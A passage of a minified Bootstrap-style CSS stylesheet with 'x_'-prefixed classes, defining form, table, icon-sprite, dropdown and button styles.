.x_btn:last-child,.x .x_input-append .x_btn-group:last-child>.x_dropdown-toggle{-webkit-border-radius:0 4px 4px 0;-moz-border-radius:0 4px 4px 0;border-radius:0 4px 4px 0}.x .x_input-prepend.x_input-append input,.x .x_input-prepend.x_input-append select,.x .x_input-prepend.x_input-append .x_uneditable-input{-webkit-border-radius:0;-moz-border-radius:0;border-radius:0}.x .x_input-prepend.x_input-append input+.x_btn-group .x_btn,.x .x_input-prepend.x_input-append select+.x_btn-group .x_btn,.x .x_input-prepend.x_input-append .x_uneditable-input+.x_btn-group .x_btn{-webkit-border-radius:0 4px 4px 0;-moz-border-radius:0 4px 4px 0;border-radius:0 4px 4px 0}.x .x_input-prepend.x_input-append .x_add-on:first-child,.x .x_input-prepend.x_input-append .x_btn:first-child{margin-right:-1px;-webkit-border-radius:4px 0 0 4px;-moz-border-radius:4px 0 0 4px;border-radius:4px 0 0 4px}.x .x_input-prepend.x_input-append .x_add-on:last-child,.x .x_input-prepend.x_input-append .x_btn:last-child{margin-left:-1px;-webkit-border-radius:0 4px 4px 0;-moz-border-radius:0 4px 4px 0;border-radius:0 4px 4px 0}.x .x_input-prepend.x_input-append .x_btn-group:first-child{margin-left:0}.x input.x_search-query{padding-right:14px;padding-right:4px \9;padding-left:14px;padding-left:4px \9;margin-bottom:0;-webkit-border-radius:15px;-moz-border-radius:15px;border-radius:15px}.x .x_form-search .x_input-append .x_search-query,.x .x_form-search .x_input-prepend .x_search-query{-webkit-border-radius:0;-moz-border-radius:0;border-radius:0}.x .x_form-search .x_input-append .x_search-query{-webkit-border-radius:14px 0 0 14px;-moz-border-radius:14px 0 0 14px;border-radius:14px 0 0 14px}.x .x_form-search .x_input-append .x_btn{-webkit-border-radius:0 14px 14px 0;-moz-border-radius:0 14px 14px 0;border-radius:0 14px 14px 0}.x .x_form-search .x_input-prepend .x_search-query{-webkit-border-radius:0 14px 14px 0;-moz-border-radius:0 14px 14px 0;border-radius:0 14px 14px 0}.x .x_form-search .x_input-prepend .x_btn{-webkit-border-radius:14px 0 0 14px;-moz-border-radius:14px 0 0 14px;border-radius:14px 0 0 14px}.x .x_form-search input,.x .x_form-inline input,.x .x_form-horizontal input,.x .x_form-search textarea,.x .x_form-inline textarea,.x .x_form-horizontal textarea,.x .x_form-search select,.x .x_form-inline select,.x .x_form-horizontal select,.x .x_form-search .x_help-inline,.x .x_form-inline .x_help-inline,.x .x_form-horizontal .x_help-inline,.x .x_form-search .x_uneditable-input,.x .x_form-inline .x_uneditable-input,.x .x_form-horizontal .x_uneditable-input,.x .x_form-search .x_input-prepend,.x .x_form-inline .x_input-prepend,.x .x_form-horizontal .x_input-prepend,.x .x_form-search .x_input-append,.x .x_form-inline .x_input-append,.x .x_form-horizontal .x_input-append{display:inline-block;*display:inline;margin-bottom:0;vertical-align:middle;*zoom:1;}.x .x_form-search .x_hide,.x .x_form-inline .x_hide,.x .x_form-horizontal .x_hide{display:none}.x .x_form-search label,.x .x_form-inline label,.x .x_form-search .x_btn-group,.x .x_form-inline .x_btn-group{display:inline-block}.x .x_form-search .x_input-append,.x .x_form-inline .x_input-append,.x .x_form-search .x_input-prepend,.x .x_form-inline .x_input-prepend{margin-bottom:0}.x .x_form-search .x_radio,.x .x_form-search .x_checkbox,.x .x_form-inline .x_radio,.x .x_form-inline .x_checkbox{padding-left:0;margin-bottom:0;vertical-align:middle}.x .x_form-search .x_radio input[type="radio"],.x .x_form-search .x_checkbox input[type="checkbox"],.x .x_form-inline .x_radio input[type="radio"],.x .x_form-inline .x_checkbox input[type="checkbox"]{float:left;margin-right:3px;margin-left:0}.x .x_control-group{margin-bottom:10px}.x legend+.x_control-group{margin-top:20px;-webkit-margin-top-collapse:separate}.x .x_form-horizontal .x_control-group{margin-bottom:20px;*zoom:1;}.x .x_form-horizontal .x_control-group:before,.x .x_form-horizontal .x_control-group:after{display:table;line-height:0;content:""}.x .x_form-horizontal .x_control-group:after{clear:both}.x .x_form-horizontal .x_control-label{float:left;width:160px;padding-top:5px;text-align:right}.x .x_form-horizontal .x_controls{*display:inline-block;*padding-left:20px;margin-left:180px;*margin-left:0;}.x .x_form-horizontal .x_controls:first-child{*padding-left:180px;}.x .x_form-horizontal .x_help-block{margin-bottom:0}.x .x_form-horizontal input+.x_help-block,.x .x_form-horizontal select+.x_help-block,.x .x_form-horizontal textarea+.x_help-block,.x .x_form-horizontal .x_uneditable-input+.x_help-block,.x .x_form-horizontal .x_input-prepend+.x_help-block,.x .x_form-horizontal .x_input-append+.x_help-block{margin-top:10px}.x .x_form-horizontal .x_form-actions{padding-left:180px}.x table{max-width:100%;background-color:transparent;border-collapse:collapse;border-spacing:0}.x .x_table{width:100%;margin-bottom:20px}.x .x_table th,.x .x_table td{padding:8px;line-height:20px;text-align:left;vertical-align:top;border-top:1px solid #ddd}.x .x_table th{font-weight:bold}.x .x_table thead th{vertical-align:bottom}.x .x_table caption+thead tr:first-child th,.x .x_table caption+thead tr:first-child td,.x .x_table colgroup+thead tr:first-child th,.x .x_table colgroup+thead tr:first-child td,.x .x_table thead:first-child tr:first-child th,.x .x_table thead:first-child tr:first-child td{border-top:0}.x .x_table tbody+tbody{border-top:2px solid #ddd}.x .x_table .x_table{background-color:#fff}.x .x_table-condensed th,.x .x_table-condensed td{padding:4px 5px}.x .x_table-bordered{border:1px solid #ddd;border-collapse:separate;*border-collapse:collapse;border-left:0;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px}.x .x_table-bordered th,.x .x_table-bordered td{border-left:1px solid #ddd}.x .x_table-bordered caption+thead tr:first-child th,.x .x_table-bordered caption+tbody tr:first-child th,.x .x_table-bordered caption+tbody tr:first-child td,.x .x_table-bordered colgroup+thead tr:first-child th,.x .x_table-bordered colgroup+tbody tr:first-child th,.x .x_table-bordered colgroup+tbody tr:first-child td,.x .x_table-bordered thead:first-child tr:first-child th,.x .x_table-bordered tbody:first-child tr:first-child th,.x .x_table-bordered tbody:first-child tr:first-child td{border-top:0}.x .x_table-bordered thead:first-child tr:first-child>th:first-child,.x .x_table-bordered tbody:first-child tr:first-child>td:first-child{-webkit-border-top-left-radius:4px;border-top-left-radius:4px;-moz-border-radius-topleft:4px}.x .x_table-bordered thead:first-child tr:first-child>th:last-child,.x .x_table-bordered tbody:first-child tr:first-child>td:last-child{-webkit-border-top-right-radius:4px;border-top-right-radius:4px;-moz-border-radius-topright:4px}.x .x_table-bordered thead:last-child tr:last-child>th:first-child,.x .x_table-bordered tbody:last-child tr:last-child>td:first-child,.x .x_table-bordered tfoot:last-child tr:last-child>td:first-child{-webkit-border-bottom-left-radius:4px;border-bottom-left-radius:4px;-moz-border-radius-bottomleft:4px}.x .x_table-bordered thead:last-child tr:last-child>th:last-child,.x .x_table-bordered tbody:last-child tr:last-child>td:last-child,.x .x_table-bordered tfoot:last-child tr:last-child>td:last-child{-webkit-border-bottom-right-radius:4px;border-bottom-right-radius:4px;-moz-border-radius-bottomright:4px}.x .x_table-bordered tfoot+tbody:last-child tr:last-child td:first-child{-webkit-border-bottom-left-radius:0;border-bottom-left-radius:0;-moz-border-radius-bottomleft:0}.x .x_table-bordered tfoot+tbody:last-child tr:last-child td:last-child{-webkit-border-bottom-right-radius:0;border-bottom-right-radius:0;-moz-border-radius-bottomright:0}.x .x_table-bordered caption+thead tr:first-child th:first-child,.x .x_table-bordered caption+tbody tr:first-child td:first-child,.x .x_table-bordered colgroup+thead tr:first-child th:first-child,.x .x_table-bordered colgroup+tbody tr:first-child td:first-child{-webkit-border-top-left-radius:4px;border-top-left-radius:4px;-moz-border-radius-topleft:4px}.x .x_table-bordered caption+thead tr:first-child th:last-child,.x .x_table-bordered caption+tbody tr:first-child td:last-child,.x .x_table-bordered colgroup+thead tr:first-child th:last-child,.x .x_table-bordered colgroup+tbody tr:first-child td:last-child{-webkit-border-top-right-radius:4px;border-top-right-radius:4px;-moz-border-radius-topright:4px}.x .x_table-striped tbody>tr:nth-child(odd)>td,.x .x_table-striped tbody>tr:nth-child(odd)>th{background-color:#f9f9f9}.x .x_table-hover tbody tr:hover td,.x .x_table-hover tbody tr:hover th{background-color:#f5f5f5}.x table td[class*="x_span"],.x table th[class*="x_span"],.x .x_row-fluid table td[class*="x_span"],.x .x_row-fluid table th[class*="x_span"]{display:table-cell;float:none;margin-left:0}.x .x_table td.x_span1,.x .x_table th.x_span1{float:none;width:44px;margin-left:0}.x .x_table td.x_span2,.x .x_table th.x_span2{float:none;width:124px;margin-left:0}.x .x_table td.x_span3,.x .x_table th.x_span3{float:none;width:204px;margin-left:0}.x .x_table td.x_span4,.x .x_table th.x_span4{float:none;width:284px;margin-left:0}.x .x_table td.x_span5,.x .x_table th.x_span5{float:none;width:364px;margin-left:0}.x .x_table td.x_span6,.x .x_table th.x_span6{float:none;width:444px;margin-left:0}.x .x_table td.x_span7,.x .x_table th.x_span7{float:none;width:524px;margin-left:0}.x .x_table td.x_span8,.x .x_table th.x_span8{float:none;width:604px;margin-left:0}.x .x_table td.x_span9,.x .x_table th.x_span9{float:none;width:684px;margin-left:0}.x .x_table td.x_span10,.x .x_table th.x_span10{float:none;width:764px;margin-left:0}.x .x_table td.x_span11,.x .x_table th.x_span11{float:none;width:844px;margin-left:0}.x .x_table td.x_span12,.x .x_table th.x_span12{float:none;width:924px;margin-left:0}.x .x_table tbody tr.x_success td{background-color:#dff0d8}.x .x_table tbody tr.x_error td{background-color:#f2dede}.x .x_table tbody tr.x_warning td{background-color:#fcf8e3}.x .x_table tbody tr.x_info td{background-color:#d9edf7}.x .x_table-hover tbody tr.x_success:hover td{background-color:#d0e9c6}.x .x_table-hover tbody tr.x_error:hover td{background-color:#ebcccc}.x .x_table-hover tbody tr.x_warning:hover td{background-color:#faf2cc}.x .x_table-hover tbody tr.x_info:hover td{background-color:#c4e3f3}.x [class^="x_icon-"],.x [class*=" x_icon-"]{display:inline-block;width:14px;height:14px;margin-top:1px;*margin-right:.3em;line-height:14px;vertical-align:text-top;background-image:url("../img/glyphicons-halflings.png");background-position:14px 14px;background-repeat:no-repeat}.x .x_icon-white,.x .x_nav-pills>.x_active>a>[class^="x_icon-"],.x .x_nav-pills>.x_active>a>[class*=" x_icon-"],.x .x_nav-list>.x_active>a>[class^="x_icon-"],.x .x_nav-list>.x_active>a>[class*=" x_icon-"],.x .x_navbar-inverse .x_nav>.x_active>a>[class^="x_icon-"],.x .x_navbar-inverse .x_nav>.x_active>a>[class*=" x_icon-"],.x .x_dropdown-menu>li>a:hover>[class^="x_icon-"],.x .x_dropdown-menu>li>a:hover>[class*=" x_icon-"],.x .x_dropdown-menu>.x_active>a>[class^="x_icon-"],.x .x_dropdown-menu>.x_active>a>[class*=" x_icon-"],.x .x_dropdown-submenu:hover>a>[class^="x_icon-"],.x .x_dropdown-submenu:hover>a>[class*=" x_icon-"]{background-image:url("../img/glyphicons-halflings-white.png")}.x .x_icon-glass{background-position:0 0}.x .x_icon-music{background-position:-24px 0}.x .x_icon-search{background-position:-48px 0}.x .x_icon-envelope{background-position:-72px 0}.x .x_icon-heart{background-position:-96px 0}.x .x_icon-star{background-position:-120px 0}.x .x_icon-star-empty{background-position:-144px 0}.x .x_icon-user{background-position:-168px 0}.x .x_icon-film{background-position:-192px 0}.x .x_icon-th-large{background-position:-216px 0}.x .x_icon-th{background-position:-240px 0}.x .x_icon-th-list{background-position:-264px 0}.x .x_icon-ok{background-position:-288px 0}.x .x_icon-remove{background-position:-312px 0}.x .x_icon-zoom-in{background-position:-336px 0}.x .x_icon-zoom-out{background-position:-360px 0}.x .x_icon-off{background-position:-384px 0}.x .x_icon-signal{background-position:-408px 0}.x .x_icon-cog{background-position:-432px 0}.x .x_icon-trash{background-position:-456px 0}.x .x_icon-home{background-position:0 -24px}.x .x_icon-file{background-position:-24px -24px}.x .x_icon-time{background-position:-48px -24px}.x .x_icon-road{background-position:-72px -24px}.x .x_icon-download-alt{background-position:-96px -24px}.x .x_icon-download{background-position:-120px -24px}.x .x_icon-upload{background-position:-144px -24px}.x .x_icon-inbox{background-position:-168px -24px}.x .x_icon-play-circle{background-position:-192px -24px}.x .x_icon-repeat{background-position:-216px -24px}.x .x_icon-refresh{background-position:-240px -24px}.x .x_icon-list-alt{background-position:-264px -24px}.x .x_icon-lock{background-position:-287px -24px}.x .x_icon-flag{background-position:-312px -24px}.x .x_icon-headphones{background-position:-336px -24px}.x .x_icon-volume-off{background-position:-360px -24px}.x .x_icon-volume-down{background-position:-384px -24px}.x .x_icon-volume-up{background-position:-408px -24px}.x .x_icon-qrcode{background-position:-432px -24px}.x .x_icon-barcode{background-position:-456px -24px}.x .x_icon-tag{background-position:0 -48px}.x .x_icon-tags{background-position:-25px -48px}.x .x_icon-book{background-position:-48px -48px}.x .x_icon-bookmark{background-position:-72px -48px}.x .x_icon-print{background-position:-96px -48px}.x .x_icon-camera{background-position:-120px -48px}.x .x_icon-font{background-position:-144px -48px}.x .x_icon-bold{background-position:-167px -48px}.x .x_icon-italic{background-position:-192px -48px}.x .x_icon-text-height{background-position:-216px -48px}.x .x_icon-text-width{background-position:-240px -48px}.x .x_icon-align-left{background-position:-264px -48px}.x .x_icon-align-center{background-position:-288px -48px}.x .x_icon-align-right{background-position:-312px -48px}.x .x_icon-align-justify{background-position:-336px -48px}.x .x_icon-list{background-position:-360px -48px}.x .x_icon-indent-left{background-position:-384px -48px}.x .x_icon-indent-right{background-position:-408px -48px}.x .x_icon-facetime-video{background-position:-432px -48px}.x .x_icon-picture{background-position:-456px -48px}.x .x_icon-pencil{background-position:0 -72px}.x .x_icon-map-marker{background-position:-24px -72px}.x .x_icon-adjust{background-position:-48px -72px}.x .x_icon-tint{background-position:-72px -72px}.x .x_icon-edit{background-position:-96px -72px}.x .x_icon-share{background-position:-120px -72px}.x .x_icon-check{background-position:-144px -72px}.x .x_icon-move{background-position:-168px -72px}.x .x_icon-step-backward{background-position:-192px -72px}.x .x_icon-fast-backward{background-position:-216px -72px}.x .x_icon-backward{background-position:-240px -72px}.x .x_icon-play{background-position:-264px -72px}.x .x_icon-pause{background-position:-288px -72px}.x .x_icon-stop{background-position:-312px -72px}.x .x_icon-forward{background-position:-336px -72px}.x .x_icon-fast-forward{background-position:-360px -72px}.x .x_icon-step-forward{background-position:-384px -72px}.x .x_icon-eject{background-position:-408px -72px}.x .x_icon-chevron-left{background-position:-432px -72px}.x .x_icon-chevron-right{background-position:-456px -72px}.x .x_icon-plus-sign{background-position:0 -96px}.x .x_icon-minus-sign{background-position:-24px -96px}.x .x_icon-remove-sign{background-position:-48px -96px}.x .x_icon-ok-sign{background-position:-72px -96px}.x .x_icon-question-sign{background-position:-96px -96px}.x .x_icon-info-sign{background-position:-120px -96px}.x .x_icon-screenshot{background-position:-144px -96px}.x .x_icon-remove-circle{background-position:-168px -96px}.x .x_icon-ok-circle{background-position:-192px -96px}.x .x_icon-ban-circle{background-position:-216px -96px}.x .x_icon-arrow-left{background-position:-240px -96px}.x .x_icon-arrow-right{background-position:-264px -96px}.x .x_icon-arrow-up{background-position:-289px -96px}.x .x_icon-arrow-down{background-position:-312px -96px}.x .x_icon-share-alt{background-position:-336px -96px}.x .x_icon-resize-full{background-position:-360px -96px}.x .x_icon-resize-small{background-position:-384px -96px}.x .x_icon-plus{background-position:-408px -96px}.x .x_icon-minus{background-position:-433px -96px}.x .x_icon-asterisk{background-position:-456px -96px}.x .x_icon-exclamation-sign{background-position:0 -120px}.x .x_icon-gift{background-position:-24px -120px}.x .x_icon-leaf{background-position:-48px -120px}.x .x_icon-fire{background-position:-72px -120px}.x .x_icon-eye-open{background-position:-96px -120px}.x .x_icon-eye-close{background-position:-120px -120px}.x .x_icon-warning-sign{background-position:-144px -120px}.x .x_icon-plane{background-position:-168px -120px}.x .x_icon-calendar{background-position:-192px -120px}.x .x_icon-random{width:16px;background-position:-216px -120px}.x .x_icon-comment{background-position:-240px -120px}.x .x_icon-magnet{background-position:-264px -120px}.x .x_icon-chevron-up{background-position:-288px -120px}.x .x_icon-chevron-down{background-position:-313px -119px}.x .x_icon-retweet{background-position:-336px -120px}.x .x_icon-shopping-cart{background-position:-360px -120px}.x .x_icon-folder-close{background-position:-384px -120px}.x .x_icon-folder-open{width:16px;background-position:-408px -120px}.x .x_icon-resize-vertical{background-position:-432px -119px}.x .x_icon-resize-horizontal{background-position:-456px -118px}.x .x_icon-hdd{background-position:0 -144px}.x .x_icon-bullhorn{background-position:-24px -144px}.x .x_icon-bell{background-position:-48px -144px}.x .x_icon-certificate{background-position:-72px -144px}.x .x_icon-thumbs-up{background-position:-96px -144px}.x .x_icon-thumbs-down{background-position:-120px -144px}.x .x_icon-hand-right{background-position:-144px -144px}.x .x_icon-hand-left{background-position:-168px -144px}.x .x_icon-hand-up{background-position:-192px -144px}.x .x_icon-hand-down{background-position:-216px -144px}.x .x_icon-circle-arrow-right{background-position:-240px -144px}.x .x_icon-circle-arrow-left{background-position:-264px -144px}.x .x_icon-circle-arrow-up{background-position:-288px -144px}.x .x_icon-circle-arrow-down{background-position:-312px -144px}.x .x_icon-globe{background-position:-336px -144px}.x .x_icon-wrench{background-position:-360px -144px}.x .x_icon-tasks{background-position:-384px -144px}.x .x_icon-filter{background-position:-408px -144px}.x .x_icon-briefcase{background-position:-432px -144px}.x .x_icon-fullscreen{background-position:-456px -144px}.x .x_dropup,.x .x_dropdown{position:relative}.x .x_dropdown-toggle{*margin-bottom:-3px;}.x .x_dropdown-toggle:active,.x .x_open .x_dropdown-toggle{outline:0}.x .x_caret{display:inline-block;width:0;height:0;vertical-align:top;border-top:4px solid #000;border-right:4px solid transparent;border-left:4px solid transparent;content:""}.x .x_dropdown .x_caret{margin-top:8px;margin-left:2px}.x .x_dropdown-menu{position:absolute;top:100%;left:0;z-index:1000;display:none;float:left;min-width:160px;padding:5px 0;margin:2px 0 0;list-style:none;background-color:#fff;border:1px solid #ccc;border:1px solid rgba(0,0,0,.2);*border-right-width:2px;*border-bottom-width:2px;-webkit-border-radius:6px;-moz-border-radius:6px;border-radius:6px;-webkit-box-shadow:0 5px 10px rgba(0,0,0,.2);-moz-box-shadow:0 5px 10px rgba(0,0,0,.2);box-shadow:0 5px 10px rgba(0,0,0,.2);-webkit-background-clip:padding-box;-moz-background-clip:padding;background-clip:padding-box}.x .x_dropdown-menu.x_pull-right{right:0;left:auto}.x .x_dropdown-menu .x_divider{*width:100%;height:1px;margin:9px 1px;*margin:-5px 0 5px;overflow:hidden;background-color:#e5e5e5;border-bottom:1px solid #fff}.x .x_dropdown-menu li>a{display:block;padding:3px 20px;clear:both;font-weight:normal;line-height:20px;color:#333;white-space:nowrap}.x .x_dropdown-menu li>a:hover,.x .x_dropdown-menu li>a:focus,.x .x_dropdown-submenu:hover>a{color:#fff;text-decoration:none;background-color:#0081c2;background-image:-moz-linear-gradient(top,#08c,#0077b3);background-image:-webkit-gradient(linear,0 0,0 100%,from(#08c),to(#0077b3));background-image:-webkit-linear-gradient(top,#08c,#0077b3);background-image:-o-linear-gradient(top,#08c,#0077b3);background-image:linear-gradient(to bottom,#08c,#0077b3);background-repeat:repeat-x;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#0088cc',endColorstr='#0077b3',GradientType=0)}.x .x_dropdown-menu .x_active>a,.x .x_dropdown-menu .x_active>a:hover{color:#fff;text-decoration:none;background-color:#0081c2;background-image:-moz-linear-gradient(top,#08c,#0077b3);background-image:-webkit-gradient(linear,0 0,0 100%,from(#08c),to(#0077b3));background-image:-webkit-linear-gradient(top,#08c,#0077b3);background-image:-o-linear-gradient(top,#08c,#0077b3);background-image:linear-gradient(to bottom,#08c,#0077b3);background-repeat:repeat-x;outline:0;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#0088cc',endColorstr='#0077b3',GradientType=0)}.x .x_dropdown-menu .x_disabled>a,.x .x_dropdown-menu .x_disabled>a:hover{color:#999}.x .x_dropdown-menu .x_disabled>a:hover{text-decoration:none;cursor:default;background-color:transparent;background-image:none;filter:progid:DXImageTransform.Microsoft.gradient(enabled=false)}.x .x_open{*z-index:1000;}.x .x_open>.x_dropdown-menu{display:block}.x .x_pull-right>.x_dropdown-menu{right:0;left:auto}.x .x_dropup .x_caret,.x .x_navbar-fixed-bottom .x_dropdown .x_caret{border-top:0;border-bottom:4px solid #000;content:""}.x .x_dropup .x_dropdown-menu,.x .x_navbar-fixed-bottom .x_dropdown .x_dropdown-menu{top:auto;bottom:100%;margin-bottom:1px}.x_dropdown-submenu{position:relative}.x .x_dropdown-submenu>.x_dropdown-menu{top:0;left:100%;margin-top:-6px;margin-left:-1px;-webkit-border-radius:0 6px 6px 6px;-moz-border-radius:0 6px 6px 6px;border-radius:0 6px 6px 6px}.x .x_dropdown-submenu:hover>.x_dropdown-menu{display:block}.x .x_dropup .x_dropdown-submenu>.x_dropdown-menu{top:auto;bottom:0;margin-top:0;margin-bottom:-2px;-webkit-border-radius:5px 5px 5px 0;-moz-border-radius:5px 5px 5px 0;border-radius:5px 5px 5px 0}.x .x_dropdown-submenu>a:after{display:block;float:right;width:0;height:0;margin-top:5px;margin-right:-10px;border-color:transparent;border-left-color:#ccc;border-style:solid;border-width:5px 0 5px 5px;content:" "}.x .x_dropdown-submenu:hover>a:after{border-left-color:#fff}.x .x_dropdown-submenu.x_pull-left{float:none}.x .x_dropdown-submenu.x_pull-left>.x_dropdown-menu{left:-100%;margin-left:10px;-webkit-border-radius:6px 0 6px 6px;-moz-border-radius:6px 0 6px 6px;border-radius:6px 0 6px 6px}.x .x_dropdown .x_dropdown-menu .x_nav-header{padding-right:20px;padding-left:20px}.x .x_typeahead{z-index:1051;margin-top:2px;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px}.x .x_well{min-height:20px;padding:19px;margin-bottom:20px;background-color:#f5f5f5;border:1px solid #e3e3e3;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px;-webkit-box-shadow:inset 0 1px 1px rgba(0,0,0,.05);-moz-box-shadow:inset 0 1px 1px rgba(0,0,0,.05);box-shadow:inset 0 1px 1px rgba(0,0,0,.05)}.x .x_well blockquote{border-color:#ddd;border-color:rgba(0,0,0,.15)}.x .x_well-large{padding:24px;-webkit-border-radius:6px;-moz-border-radius:6px;border-radius:6px}.x .x_well-small{padding:9px;-webkit-border-radius:3px;-moz-border-radius:3px;border-radius:3px}.x .x_fade{opacity:0;-webkit-transition:opacity .15s linear;-moz-transition:opacity .15s linear;-o-transition:opacity .15s linear;transition:opacity .15s linear}.x .x_fade.x_in{opacity:1}.x .x_collapse{position:relative;height:0;overflow:hidden;-webkit-transition:height .35s ease;-moz-transition:height .35s ease;-o-transition:height .35s ease;transition:height .35s ease}.x .x_collapse.x_in{height:auto}.x .x_close{float:right;font-size:20px;font-weight:bold;line-height:20px;color:#000;text-shadow:0 1px 0 #fff;opacity:.2;filter:alpha(opacity=20)}.x .x_close:hover{color:#000;text-decoration:none;cursor:pointer;opacity:.4;filter:alpha(opacity=40)}.x button.x_close{padding:0;cursor:pointer;background:transparent;border:0;-webkit-appearance:none}.x .x_btn{display:inline-block;*display:inline;padding:4px 12px;margin-bottom:0;*margin-left:.3em;font-size:14px;line-height:20px;color:#333;text-align:center;text-shadow:0 1px 1px rgba(255,255,255,.75);vertical-align:middle;cursor:pointer;background-color:#f5f5f5;*background-color:#e6e6e6;background-image:-moz-linear-gradient(top,#fff,#e6e6e6);background-image:-webkit-gradient(linear,0 0,0 100%,from(#fff),to(#e6e6e6));background-image:-webkit-linear-gradient(top,#fff,#e6e6e6);background-image:-o-linear-gradient(top,#fff,#e6e6e6);background-image:linear-gradient(to bottom,#fff,#e6e6e6);background-repeat:repeat-x;border:1px solid #bbb;*border:0;border-color:#e6e6e6 #e6e6e6 #bfbfbf;border-color:rgba(0,0,0,.1) rgba(0,0,0,.1) rgba(0,0,0,.25);border-bottom-color:#a2a2a2;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffffff',endColorstr='#e6e6e6',GradientType=0);filter:progid:DXImageTransform.Microsoft.gradient(enabled=false);*zoom:1;-webkit-box-shadow:inset 0 1px 0 rgba(255,255,255,.2),0 1px 2px rgba(0,0,0,.05);-moz-box-shadow:inset 0 1px 0 rgba(255,255,255,.2),0 1px 2px rgba(0,0,0,.05);box-shadow:inset 0 1px 0 rgba(255,255,255,.2),0 1px 2px rgba(0,0,0,.05)}.x .x_btn:hover,.x .x_btn:active,.x .x_btn.x_active,.x .x_btn.x_disabled,.x .x_btn[disabled]{color:#333;background-color:#e6e6e6;*background-color:#d9d9d9;}.x .x_btn:active,.x .x_btn.x_active{background-color:#ccc \9}.x .x_btn:first-child{*margin-left:0;}.x .x_btn:hover{color:#333;text-decoration:none;background-position:0 -15px;-webkit-transition:background-position .1s linear;-moz-transition:background-position .1s linear;-o-transition:background-position .1s linear;transition:background-position .1s linear}.x .x_btn:focus{outline:thin dotted #333;outline:5px auto -webkit-focus-ring-color;outline-offset:-2px}.x .x_btn.x_active,.x .x_btn:active{background-image:none;outline:0;-webkit-box-shadow:inset 0 2px 4px rgba(0,0,0,.15),0 1px 2px rgba(0,0,0,.05);-moz-box-shadow:inset 0 2px 4px rgba(0,0,0,.15),0 1px 2px rgba(0,0,0,.05);box-shadow:inset 0 2px 4px rgba(0,0,0,.15),0 1px 2px rgba(0,0,0,.05)}.x .x_btn.x_disabled,.x .x_btn[disabled]{cursor:default;background-image:none;opacity:.65;filter:alpha(opacity=65);-webkit-box-shadow:none;-moz-box-shadow:none;box-shadow:none}.x .x_btn-large{padding:11px 19px;font-size:17.5px;-webkit-border-radius:6px;-moz-border-radius:6px;border-radius:6px}.x .x_btn-large [class^="x_icon-"],.x .x_btn-large [class*=" x_icon-"]{margin-top:4px}.x .x_btn-small{padding:2px 10px;font-size:11.9px;-webkit-border-radius:3px;-moz-border-radius:3px;border-radius:3px}.x .x_btn-small [class^="x_icon-"],.x .x_btn-small [class*=" x_icon-"]{margin-top:0}.x .x_btn-mini [class^="x_icon-"],.x .x_btn-mini [class*=" x_icon-"]{margin-top:-1px}.x .x_btn-mini{padding:0 6px;font-size:10.5px;-webkit-border-radius:3px;-moz-border-radius:3px;border-radius:3px}.x .x_btn-block{display:block;width:100%;padding-right:0;padding-left:0;-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box}.x .x_btn-block+.x_btn-block{margin-top:5px}.x input[type="submit"].x_btn-block,.x input[type="reset"].x_btn-block,.x input[type="button"].x_btn-block{width:100%}.x .x_btn-primary.x_active,.x .x_btn-warning.x_active,.x .x_btn-danger.x_active,.x .x_btn-success.x_active,.x .x_btn-info.x_active,.x .x_btn-inverse.x_active{color:rgba(255,255,255,.75)}.x .x_btn{border-color:#c5c5c5;border-color:rgba(0,0,0,.15) rgba(0,0,0,.15) rgba(0,0,0,.25)}.x .x_btn-primary{color:#fff;text-shadow:0 -1px 0 rgba(0,0,0,.25);background-color:#006dcc;*background-color:#04c;background-image:-moz-linear-gradient(top,#08c,#04c);background-image:-webkit-gradient(linear,0 0,0 100%,from(#08c),to(#04c));background-image:-webkit-linear-gradient(top,#08c,#04c);background-image:-o-linear-gradient(top,#08c,#04c);background-image:linear-gradient(to bottom,#08c,#04c);background-repeat:repeat-x;border-color:#04c #04c #002a80;border-color:rgba(0,0,0,.1) rgba(0,0,0,.1) rgba(0,0,0,.25);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#0088cc',endColorstr='#0044cc',GradientType=0);filter:progid:DXImageTransform.Microsoft.gradient(enabled=false)}.x .x_btn-primary:hover,.x .x_btn-primary:active,.x .x_btn-primary.x_active,.x .x_btn-primary.x_disabled,.x .x_btn-primary[disabled]{color:#fff;background-color:#04c;*background-color:#003bb3;}.x .x_btn-primary:active,.x .x_btn-primary.x_active{background-color:#039 \9}.x .x_btn-warning{color:#fff;text-shadow:0 -1px 0 rgba(0,0,0,.25);background-color:#faa732;*background-color:#f89406;background-image:-moz-linear-gradient(top,#fbb450,#f89406);background-image:-webkit-gradient(linear,0 0,0 100%,from(#fbb450),to(#f89406));background-image:-webkit-linear-gradient(top,#fbb450,#f89406);background-image:-o-linear-gradient(top,#fbb450,#f89406);background-image:linear-gradient(to bottom,#fbb450,#f89406);background-repeat:repeat-x;border-color:#f89406 #f89406 #ad6704;border-color:rgba(0,0,0,.1) rgba(0,0,0,.1) rgba(0,0,0,.25);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#fbb450',endColorstr='#f89406',GradientType=0);filter:progid:DXImageTransform.Microsoft.gradient(enabled=false)}.x .x_btn-warning:hover,.x .x_btn-warning:active,.x .x_btn-warning.x_active,.x .x_btn-warning.x_disabled,.x .x_btn-warning[disabled]{color:#fff;background-color:#f89406;*background-color:#df8505;}.x .x_btn-warning:active,.x .x_btn-warning.x_active{background-color:#c67605 \9}.x .x_btn-danger{color:#fff;text-shadow:0 -1px 0 rgba(0,0,0,.25);background-color:#da4f49;*background-color:#bd362f;background-image:-moz-linear-gradient(top,#ee5f5b,#bd362f);background-image:-webkit-gradient(linear,0 0,0 100%,from(#ee5f5b),to(#bd362f));background-image:-webkit-linear-gradient(top,#ee5f5b,#bd362f);background-image:-o-linear-gradient(top,#ee5f5b,#bd362f);background-image:linear-gradient(to bottom,#ee5f5b,#bd362f);background-repeat:repeat-x;border-color:#bd362f #bd362f #802420;border-color:rgba(0,0,0,.1) rgba(0,0,0,.1) rgba(0,0,0,.25);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ee5f5b',endColorstr='#bd362f',GradientType=0);filter:progid:DXImageTransform.Microsoft.gradient(enabled=false)}.x .x_btn-danger:hover,.x .x_btn-danger:active,.x .x_btn-danger.x_active,.x 